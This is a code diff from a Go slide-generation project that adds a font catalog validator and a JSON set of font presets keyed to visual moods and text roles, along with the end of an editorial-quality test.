+		Status:  "passed",
+		Metrics: MediaPressureMetrics{Slides: 3, IssueCount: 0},
+	}
+	creative := CreativeQualityReport{
+		Status:  "passed",
+		Metrics: CreativeQualityMetrics{Slides: 3},
+	}
+	payload := ContentPayloadReport{
+		Status: "failed",
+		Metrics: ContentPayloadMetrics{
+			Slides:                       3,
+			SubstantiveSlides:            2,
+			SparseLabelListCount:         1,
+			MissingSupportingPointsCount: 1,
+			MissingSourceBoundFactCount:  1,
+			MissingVisualDataItemsCount:  1,
+			IssueCount:                   4,
+		},
+	}
+
+	report := EvaluateEditorialQualityRun(contract, media, creative, payload)
+	if report.Status != "failed" {
+		t.Fatalf("status = %q, want failed", report.Status)
+	}
+	if report.Metrics.SparseLabelListCount != 1 {
+		t.Fatalf("sparse count = %d, want 1", report.Metrics.SparseLabelListCount)
+	}
+	if !editorialIssueCodesContain(report.Issues, "svglide.editorial.content_sparse_label_list") {
+		t.Fatalf("issues = %+v, want content_sparse_label_list", report.Issues)
+	}
+	if !editorialIssueCodesContain(report.Issues, "svglide.editorial.content_visual_data_mismatch") {
+		t.Fatalf("issues = %+v, want content_visual_data_mismatch", report.Issues)
+	}
+}
+
+func editorialIssueCodesContain(issues []EditorialQualityIssue, want string) bool {
+	for _, issue := range issues {
+		if issue.Code == want {
+			return true
+		}
+	}
+	return false
+}

internal/svglide/font_catalog.go

@@ -0,0 +1,172 @@
+package svglide
+
+import (
+	"embed"
+	"encoding/json"
+	"fmt"
+	"sort"
+	"strings"
+)
+
+const (
+	slideSupportedFontsPath    = "font_catalog/slide_supported_fonts.json"
+	slideFontThemePresetsPath  = "font_catalog/slide_font_theme_presets.json"
+	typographyFontSourcePreset = "slide_font_theme_presets"
+)
+
+//go:embed font_catalog/slide_supported_fonts.json font_catalog/slide_font_theme_presets.json font_catalog/slide_font_tags.json
+var slideFontCatalogFS embed.FS
+
+type slideSupportedFontsFile struct {
+	Version string `json:"version,omitempty"`
+	Counts  struct {
+		Total int `json:"total"`
+	} `json:"counts"`
+	Fonts []slideSupportedFont `json:"fonts"`
+}
+
+type slideSupportedFont struct {
+	FontFamily string            `json:"font_family"`
+	Source     string            `json:"source"`
+	Lang       string            `json:"lang"`
+	Display    map[string]string `json:"display_name"`
+}
+
+type slideFontThemePresetsFile struct {
+	Version           string                         `json:"version"`
+	Status            string                         `json:"status"`
+	VisualMoodPresets map[string]slideFontMoodPreset `json:"visual_mood_presets"`
+}
+
+type slideFontMoodPreset struct {
+	Themes []string                   `json:"themes"`
+	Intent string                     `json:"intent"`
+	Roles  map[string][]string        `json:"roles"`
+	Notes  []string                   `json:"notes,omitempty"`
+	Extra  map[string]json.RawMessage `json:"-"`
+}
+
+type typographyCatalogValidation struct {
+	MissingSource       bool
+	MissingSelectedMood bool
+	UnknownMoods        []string
+	UnsupportedRoles    map[string]string
+	StackRoles          map[string]string
+	PresetMismatchRoles map[string]string
+}
+
+func loadSlideSupportedFonts() (slideSupportedFontsFile, error) {
+	raw, err := slideFontCatalogFS.ReadFile(slideSupportedFontsPath)
+	if err != nil {
+		return slideSupportedFontsFile{}, err
+	}
+	var catalog slideSupportedFontsFile
+	if err := json.Unmarshal(raw, &catalog); err != nil {
+		return slideSupportedFontsFile{}, fmt.Errorf("%s: invalid JSON: %w", slideSupportedFontsPath, err)
+	}
+	return catalog, nil
+}
+
+func loadSlideFontThemePresets() (slideFontThemePresetsFile, error) {
+	raw, err := slideFontCatalogFS.ReadFile(slideFontThemePresetsPath)
+	if err != nil {
+		return slideFontThemePresetsFile{}, err
+	}
+	var presets slideFontThemePresetsFile
+	if err := json.Unmarshal(raw, &presets); err != nil {
+		return slideFontThemePresetsFile{}, fmt.Errorf("%s: invalid JSON: %w", slideFontThemePresetsPath, err)
+	}
+	return presets, nil
+}
+
+func validateTypographyAgainstFontCatalog(contract typographyContractFile) (typographyCatalogValidation, error) {
+	catalog, err := loadSlideSupportedFonts()
+	if err != nil {
+		return typographyCatalogValidation{}, err
+	}
+	presets, err := loadSlideFontThemePresets()
+	if err != nil {
+		return typographyCatalogValidation{}, err
+	}
+	knownFonts := make(map[string]bool, len(catalog.Fonts))
+	for _, font := range catalog.Fonts {
+		if strings.TrimSpace(font.FontFamily) != "" {
+			knownFonts[font.FontFamily] = true
+		}
+	}
+
+	result := typographyCatalogValidation{
+		UnsupportedRoles:    map[string]string{},
+		StackRoles:          map[string]string{},
+		PresetMismatchRoles: map[string]string{},
+	}
+	if strings.TrimSpace(contract.FontSource) != typographyFontSourcePreset {
+		result.MissingSource = true
+	}
+	selectedMoods := nonEmptyStrings(contract.SelectedMoods)
+	if len(selectedMoods) == 0 {
+		result.MissingSelectedMood = true
+	}
+	allowedByRole := map[string]map[string]bool{}
+	for _, mood := range selectedMoods {
+		preset, ok := presets.VisualMoodPresets[mood]
+		if !ok {
+			result.UnknownMoods = append(result.UnknownMoods, mood)
+			continue
+		}
+		for role, candidates := range preset.Roles {
+			if allowedByRole[role] == nil {
+				allowedByRole[role] = map[string]bool{}
+			}
+			for _, candidate := range candidates {
+				allowedByRole[role][candidate] = true
+			}
+		}
+	}
+	sort.Strings(result.UnknownMoods)
+
+	for _, role := range []string{"display", "body", "number", "label"} {
+		font := contract.Roles[role]
+		family := strings.TrimSpace(font.Family)
+		if strings.Contains(family, ",") {
+			result.StackRoles[role] = family
+			continue
+		}
+		if !knownFonts[family] {
+			result.UnsupportedRoles[role] = family
+			continue
+		}
+		if len(selectedMoods) > 0 && len(result.UnknownMoods) == 0 {
+			allowed := allowedByRole[role]
+			if len(allowed) > 0 && !allowed[family] {
+				result.PresetMismatchRoles[role] = family
+			}
+		}
+	}
+	return result, nil
+}
+
+func (v typographyCatalogValidation) OK() bool {
+	return !v.MissingSource &&
+		!v.MissingSelectedMood &&
+		len(v.UnknownMoods) == 0 &&
+		len(v.UnsupportedRoles) == 0 &&
+		len(v.StackRoles) == 0 &&
+		len(v.PresetMismatchRoles) == 0
+}
+
+func sortedRoleFontPairs(values map[string]string) string {
+	if len(values) == 0 {
+		return ""
+	}
+	keys := make([]string, 0, len(values))
+	for key := range values {
+		keys = append(keys, key)
+	}
+	sort.Strings(keys)
+	parts := make([]string, 0, len(keys))
+	for _, key := range keys {
+		parts = append(parts, fmt.Sprintf("%s=%q", key, values[key]))
+	}
+	return strings.Join(parts, ", ")
+}

internal/svglide/font_catalog/slide_font_theme_presets.json

@@ -0,0 +1,208 @@
+{
+  "version": "2026-07-07",
+  "status": "initial",
+  "source_font_catalog": "internal/svglide/font_catalog/slide_supported_fonts.json",
+  "principles": [
+    "Only use canonical Slide font_family values from slide_supported_fonts.json.",
+    "Do not emit arbitrary CSS font stacks for online Slide creation.",
+    "Choose by deck topic, visual mood, language, and text role instead of by topic alone.",
+    "A preset is a ranked candidate pool, not a hard one-font mapping.",
+    "Chinese decks should prefer zh-capable display/body candidates unless the page is intentionally Latin-led."
+  ],
+  "role_definitions": {
+    "display": "Cover title, section title, editorial headline, hero phrase.",
+    "body": "Readable paragraph and bullets.",
+    "number": "Financial numbers, scores, tables, axes, labels with numeric density.",
+    "label": "Tags, captions, source notes, chart labels, small annotations."
+  },
+  "visual_mood_presets": {
+    "corporate_neutral": {
+      "themes": ["business report", "strategy", "organization", "operations", "meeting summary"],
+      "intent": "稳健、中性、清晰，避免强烈装饰。",
+      "roles": {
+        "display": ["Montserrat", "Inter", "Lato", "Noto Sans SC", "SimHei"],
+        "body": ["Inter", "Lato", "Open Sans", "Noto Sans SC", "Arial"],
+        "number": ["Roboto Mono", "Inconsolata", "Source Code Pro", "Roboto"],
+        "label": ["Inter", "Roboto", "Noto Sans SC", "Arial"]
+      }
+    },
+    "finance_institutional": {
+      "themes": ["financial report", "earnings", "investor update", "audit", "valuation"],
+      "intent": "机构化、可信、数字清晰，弱装饰、强层级。",
+      "roles": {
+        "display": ["IBM Plex Sans", "Montserrat", "Libre Franklin", "Noto Sans SC", "SimHei"],
+        "body": ["IBM Plex Sans", "Inter", "Roboto", "Noto Sans SC"],
+        "number": ["Roboto Mono", "Source Code Pro", "Inconsolata"],
+        "label": ["IBM Plex Sans", "Roboto Condensed", "Noto Sans SC"]
+      }
+    },
+    "tech_ai_precision": {
+      "themes": ["AI", "chip", "cloud", "engineering", "developer platform", "cybersecurity"],
+      "intent": "精密、现代、工程感，适合深色和高对比图表。",
+      "roles": {
+        "display": ["Exo 2", "Rajdhani SemiBold", "Titillium Web SemiBold", "LogoSC Unbounded Sans", "ChillDINGothic SemiBold"],
+        "body": ["IBM Plex Sans", "Inter", "Roboto", "Noto Sans SC"],
+        "number": ["Roboto Mono", "Source Code Pro", "Inconsolata"],
+        "label": ["Rajdhani SemiBold", "Roboto Condensed", "Noto Sans SC"]
+      }
+    },
+    "data_scientific": {
+      "themes": ["research", "science", "lab", "data analysis", "methodology", "benchmark"],
+      "intent": "理性、克制、可读，强调图表和注释。",
+      "roles": {
+        "display": ["IBM Plex Sans", "Source Code Pro", "Roboto Slab", "Noto Serif SC"],
+        "body": ["IBM Plex Sans", "Noto Sans", "Noto Sans SC", "Open Sans"],
+        "number": ["Source Code Pro", "Roboto Mono", "Inconsolata"],
+        "label": ["IBM Plex Sans", "Noto Sans", "Noto Sans SC"]
+      }
+    },
+    "luxury_editorial": {
+      "themes": ["luxury", "premium brand", "jewelry", "eyewear", "watch", "gallery", "boutique"],
+      "intent": "高级、克制、留白、杂志感，标题与正文需明显分化。",
+      "roles": {
+        "display": ["Playfair Display", "EB Garamond", "Libre Baskerville", "ChillJinshuSongMedium", "Songti SC"],
+        "body": ["Lora", "Libre Baskerville", "Noto Serif SC", "Songti SC", "Alegreya"],
+        "number": ["Montserrat", "Lato", "Roboto"],
+        "label": ["Josefin Sans", "Montserrat", "ChillDINGothic SemiBold", "Noto Sans SC"]
+      }
+    },
+    "fashion_high_contrast": {
+      "themes": ["fashion", "lookbook", "art direction", "campaign", "magazine"],
+      "intent": "高反差、大片感、强标题，适合图文融合。",
+      "roles": {
+        "display": ["Abril Fatface", "Playfair Display", "Bebas Neue", "Poiret One", "ChillJinshuSongMedium"],
+        "body": ["Raleway", "Lato", "Lora", "Noto Serif SC"],
+        "number": ["Bebas Neue", "Montserrat", "Roboto Condensed"],
+        "label": ["Raleway", "Josefin Sans", "Montserrat"]
+      }
+    },
+    "culture_heritage": {
+      "themes": ["tea", "museum", "heritage", "history", "traditional craft", "architecture"],
+      "intent": "文化感、书卷气、东方审美，但正文仍要可读。",
+      "roles": {
+        "display": ["ChillJinshuSongMedium", "Noto Serif SC", "Songti SC", "ZCOOL XiaoWei", "Kaiti SC"],
+        "body": ["Noto Serif SC", "Songti SC", "Noto Sans SC"],
+        "number": ["Noto Sans SC", "SimHei", "Roboto"],
+        "label": ["ChillDuanHeiSong_CompactRegular", "Noto Sans SC", "Songti SC"]
+      }
+    },
+    "calligraphy_poetic": {
+      "themes": ["poetry", "calligraphy", "literature", "festival", "ceremony", "classical culture"],
+      "intent": "诗性、手写、仪式感；只适合少量标题或视觉锚点，不适合长正文。",
+      "roles": {
+        "display": ["Ma Shan Zheng", "Liu Jian Mao Cao", "Long Cang", "Zhi Mang Xing", "Kaiti SC"],
+        "body": ["Noto Serif SC", "Songti SC", "Kaiti SC"],
+        "number": ["Noto Sans SC", "SimHei"],
+        "label": ["Kaiti SC", "Songti SC", "Noto Sans SC"]
+      }
+    },
+    "sports_broadcast": {
+      "themes": ["sports", "football", "basketball", "athlete profile", "match report", "tournament"],
+      "intent": "转播感、速度、冲击、比分清晰。",
+      "roles": {
+        "display": ["Anton", "Bebas Neue", "Oswald", "Teko", "Fjalla One"],
+        "body": ["Barlow Condensed", "Roboto Condensed", "Noto Sans SC", "ChillDuanSans WideSemiBold"],
+        "number": ["Anton", "Bebas Neue", "Teko", "Roboto Condensed"],
+        "label": ["Oswald", "Barlow Condensed", "ChillDuanSans WideSemiBold"]
+      }
+    },
+    "youth_pop": {
+      "themes": ["youth", "social media", "entertainment", "creator economy", "consumer brand", "music"],
+      "intent": "年轻、活泼、强识别，允许更高饱和度和圆润字体。",
+      "roles": {
+        "display": ["DouyinSans", "ZCOOL KuaiLe", "Righteous", "Comfortaa", "ChillRoundF"],
+        "body": ["Nunito Sans", "Quicksand", "Noto Sans SC", "Resource Han Rounded CN"],
+        "number": ["DouyinSans", "Montserrat", "Roboto"],
+        "label": ["DouyinSans", "Comfortaa", "Resource Han Rounded CN"]
+      }
+    },
+    "warm_lifestyle": {
+      "themes": ["travel", "food", "home", "wellness", "coffee", "daily life", "local guide"],
+      "intent": "温暖、轻松、有亲和力，正文要舒适。",
+      "roles": {
+        "display": ["Quicksand", "Nunito", "Lora", "975Maru SC", "Resource Han Rounded CN"],
+        "body": ["Nunito Sans", "Lora", "Noto Sans SC", "Songti SC"],
+        "number": ["Nunito Sans", "Roboto", "Montserrat"],
+        "label": ["Quicksand", "Nunito Sans", "Resource Han Rounded CN"]
+      }
+    },
+    "education_readable": {
+      "themes": ["course", "training", "explainer", "knowledge base", "tutorial", "school"],
+      "intent": "高可读、低噪声、层级明确。",
+      "roles": {
+        "display": ["Nunito Sans", "Source Code Pro", "Noto Sans SC", "SimHei"],
+        "body": ["Noto Sans SC", "Open Sans", "Roboto", "Arial"],
+        "number": ["Roboto Mono", "Roboto", "Source Code Pro"],
+        "label": ["Noto Sans SC", "Roboto", "Arial"]
+      }
+    },
+    "government_formal": {
+      "themes": ["policy", "government", "public affairs", "official report", "regulation"],
+      "intent": "正式、稳重、低风险，避免娱乐化。",
+      "roles": {
+        "display": ["Songti SC Black", "Noto Serif SC", "SimHei"],
+        "body": ["Songti SC", "Noto Serif SC", "Noto Sans SC"],
+        "number": ["SimHei", "Noto Sans SC", "Roboto"],
+        "label": ["SimHei", "Noto Sans SC", "Songti SC"]
+      }
+    },
+    "medical_clean": {
+      "themes": ["medical", "healthcare", "biotech", "clinical", "pharma", "public health"],
+      "intent": "清洁、可信、轻科技，避免过强装饰。",
+      "roles": {
+        "display": ["IBM Plex Sans", "Lato", "Noto Sans SC", "Source Code Pro"],
+        "body": ["IBM Plex Sans", "Open Sans", "Noto Sans SC", "Roboto"],
+        "number": ["Roboto Mono", "Source Code Pro", "Roboto"],
+        "label": ["IBM Plex Sans", "Noto Sans SC", "Roboto"]
+      }
+    },
+    "industrial_engineering": {
+      "themes": ["manufacturing", "automotive", "energy", "infrastructure", "supply chain", "construction"],
+      "intent": "硬朗、工程、结构感，适合流程图和技术剖面。",
+      "roles": {
+        "display": ["Barlow Condensed", "Archivo Narrow", "Roboto Condensed", "ChillDuanSans WideSemiBold"],
+        "body": ["Barlow", "Roboto", "Noto Sans SC", "ChillReunion_Sans"],
+        "number": ["Roboto Mono", "Teko", "Source Code Pro"],
+        "label": ["Archivo Narrow", "Roboto Condensed", "ChillDINGothic SemiBold"]
+      }
+    },
+    "startup_product": {
+      "themes": ["product launch", "SaaS", "growth", "startup pitch", "mobile app", "platform"],
+      "intent": "现代、清爽、产品化，适合界面截图和指标叙事。",
+      "roles": {
+        "display": ["Poppins", "Montserrat", "DM Sans 9pt", "DouyinSans", "Noto Sans SC"],
+        "body": ["DM Sans 9pt", "Inter", "Noto Sans SC", "Open Sans"],
+        "number": ["Roboto Mono", "DM Sans 9pt", "Montserrat"],
+        "label": ["DM Sans 9pt", "Inter", "Noto Sans SC"]
+      }
+    },
+    "gaming_sci_fi": {
+      "themes": ["gaming", "esports", "sci-fi", "future city", "metaverse", "virtual event"],
+      "intent": "未来、竞技、强风格；需要避免全页难读。",
+      "roles": {
+        "display": ["Exo", "Exo 2", "Play", "Rajdhani SemiBold", "LogoSC Unbounded Sans"],
+        "body": ["Exo 2", "Rajdhani SemiBold", "Noto Sans SC", "Roboto"],
+        "number": ["Rajdhani SemiBold", "Roboto Mono", "Teko"],
+        "label": ["Exo 2", "Rajdhani SemiBold", "LogoSC Unbounded Sans"]
+      },
+      "notes": ["Orbitron would be a strong sci-fi candidate, but it is not currently present in slide_supported_fonts.json; gate should reject it until the font catalog contains it."]
+    }
+  },
+  "topic_to_mood_examples": {
+    "NVIDIA Q4 financial report": ["finance_institutional", "tech_ai_precision"],
+    "Kaneko Optical brand introduction": ["luxury_editorial", "culture_heritage"],
+    "2026 World Cup Germany or Norway Haaland": ["sports_broadcast", "youth_pop"],
+    "Chinese tea introduction": ["culture_heritage", "calligraphy_poetic", "warm_lifestyle"],
+    "Apple product strategy": ["startup_product", "tech_ai_precision", "corporate_neutral"],
+    "public policy explainer": ["government_formal", "education_readable"],
+    "biotech market report": ["medical_clean", "finance_institutional", "data_scientific"]
+  },
+  "draft_quality_rules": [
+    "At least two different font families should be used across display/body/number/label unless the deck is a plain operational report.",
+    "Decorative script fonts are display-only by default and should not be used for body text.",
+    "Numeric-heavy decks should select number fonts from monospace, condensed, or tabular-looking candidates.",
+    "Chinese body text should prefer Noto Sans SC, Noto Serif SC, Songti SC, SimHei, or Resource Han Rounded CN depending on mood.",
+    "A generated deck should include the chosen mood preset names and role-level font choices in typography_contract.json.",
+    "If any selected font_family is not present in slide_supported_fonts.json, the run should fail before online Slide creation."
+  ]
+}